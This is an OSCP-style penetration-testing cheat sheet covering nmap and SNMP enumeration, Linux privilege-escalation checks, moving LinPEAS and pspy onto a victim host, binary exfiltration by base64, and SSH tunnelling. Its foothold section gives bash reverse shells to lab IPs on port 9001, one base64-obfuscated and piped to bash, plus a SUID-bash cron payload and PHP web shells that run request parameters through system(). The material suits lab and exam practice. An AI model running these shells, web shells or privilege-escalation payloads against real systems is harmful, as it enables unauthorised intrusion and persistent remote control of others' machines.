OSCP CHEAT SHEET

Enumeration

nmap

```
nmap -sCV -p- --min-rate 1000 -T4 <IP>

nmap -Pn -p 80,443,22,139,445 <IP> --script=vuln
```

SNMP

Usually running on UDP Port 161

Metasploit has a module you can use but you should not waste your metasploit use on that.

Instead use snmpwalk or better yet smmpbulkwalk. Theres also snmpenum but it does not give you as much information as snmpwalk.

MAKE SURE TO INSTALL MIBS FIRST OR ELSE THERE WILL ONLY BE IDENTIFIERS.

```
# Install
sudo apt install snmp-mibs-downloader

# Then go to the MIBS LINE AND COMMENT IT OUT
sudo nano /etc/snmp/snmp.conf
```

For these the version is almost always-v2c

```
# Much faster to  use . The "-Cr1000" parameter does 1000 request a second.
snmpbulkwalk -Cr1000 -c public -v2c <IP_ADDRESS> . > yoursnmpwalk.file

# Optional default tool but much slower
snmpwalk -c public <IP_ADDRESS> -v2c
```

Once you have the output of the snmpwalk saved to a file, you are going to have to do some filtering to get some useful information.

```
grep -oP '::.*?\.' yoursnmpwalk.file | sort | uniq -c | sort -n
```

Privilege Escalation

Linux

Commands

Commands

```
#kernel exploits:
uname -a

#List out running processes with full info
ps aux

#list out processes as tree (Check child/parents relationships)
ps -ef --forest

#List root-owned processes
ps -U root -u root u

#List processes run by current user
ps -u $(whoami)

#List processes with open files. See if privileged process have access to sensitive files.
lsof -p <PID>

# List out world-writable files
find / -type -f -perm -0002 -ls 2>/dev/null

#SUID binaries
find / -perm -4000 -type f 2>/dev/null

# More SUID Binary stuff
find / -type f -perm -u=s -ls 2>/dev/null


# File owned by root
find / -user root -type f 2>/dev/null

# Find config files
find / -name "*config*" 2>/dev/null

#List out network connections
netstat

# List out open ports (THIS IS NEEDED TO FIND INTERNAL PORTS
ss

#List out the sudo permissions
sudo -l

#GTFOBins for:
tar, find, vim, ssh, etc.
```

Tools

LinPEAS - Scans linux systems for misconf

```
# On your attacking machine, open a http server from the directory the file is stored.
python3 -m http.server

# Now from the victim's machine, you need to fetch the file from web server. The port is
usually 8000.
wget http://<ATTACKER_IP:PORT/linpeas.sh

# Now once you have fetched the file, you need to make linpeas executable.
chmod +x linpeas.sh

# Now just run linpeas from the victim's machine.
./linpeas.sh
```

pspy64 -

```
# On your attacking machine, open a http server from the directory the file is stored.
python3 -m http.server

# Now from the victim's machine, you need to fetch the file from web server. The port is
usually 8000.
wget wget http://<ATTACKER_IP:PORT/pspy64

#Now once you have fetched the file, you need to make the pspy file executable.
chmod +x pspy64

#Run it and then good luck looking for running processes.
./pspy64
```

SUID Binary

If you find an unknown SUID binary owned by root.

1) Do base64 without line wrapping if the file is not large and then copy and paste it.

```
# From the victim's machine
base64 -w0 BINARY_FILE
```

2) Copy the entire file and paste it back into your kali machine.

```
# Decode the binary file on your attacking machine.
base64 -d BINARY_FILE.b64 > BINARY_FILE
chmod +x BINARY_FILE
```

3)

4) Use IDA or Ghidra to reverse engineer what is happening.

1- Is the binary executing some other files?
2- Is it using improper input sanitization?

Local Port Forwarding

```
# Local Port Forwarding/Tunneling
ssh <user>@<target> -L <local_port>:127.0.0.1:<remote_port>

# Example
ssh enzo@planning.htb -L 8000:127.0.0.1:8000
```

- **<local_port>**: Port on your attacking machine
- **127.0.0.1**: Ensures you're forwarding to the internal interface of the target
- **<remote_port>**: Internal service you want to access
- Visit in browser: `http://localhost:<local_port>`

Windows

Foothold

```
# Upgrade to interactive python bash shell
python -c 'import pty; pty.spawn("/bin/bash")'

# Reverse shell payload
bash -i  >& /dev/tcp/10.10.14.9/9001  0>&1 +

bash -i  >& /dev/tcp/10.10.14.44/9001  0>&1 +

echo 'YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOS85MDAxICAwPiYxICsK' | base64 -d | bash


# Cron job payload
cp /bin/bash /tmp/bash && chmod u+s /tmp/bash
```

```
# PHP Web Shell
<?php
```

```php
system($_REQUEST['cmd']);
?>
```

```php
# PHP Web Shell ( double quotes instead of single quotes)
<?php
system($_REQUEST["cmd"]);
?>
```

python3 -m http.server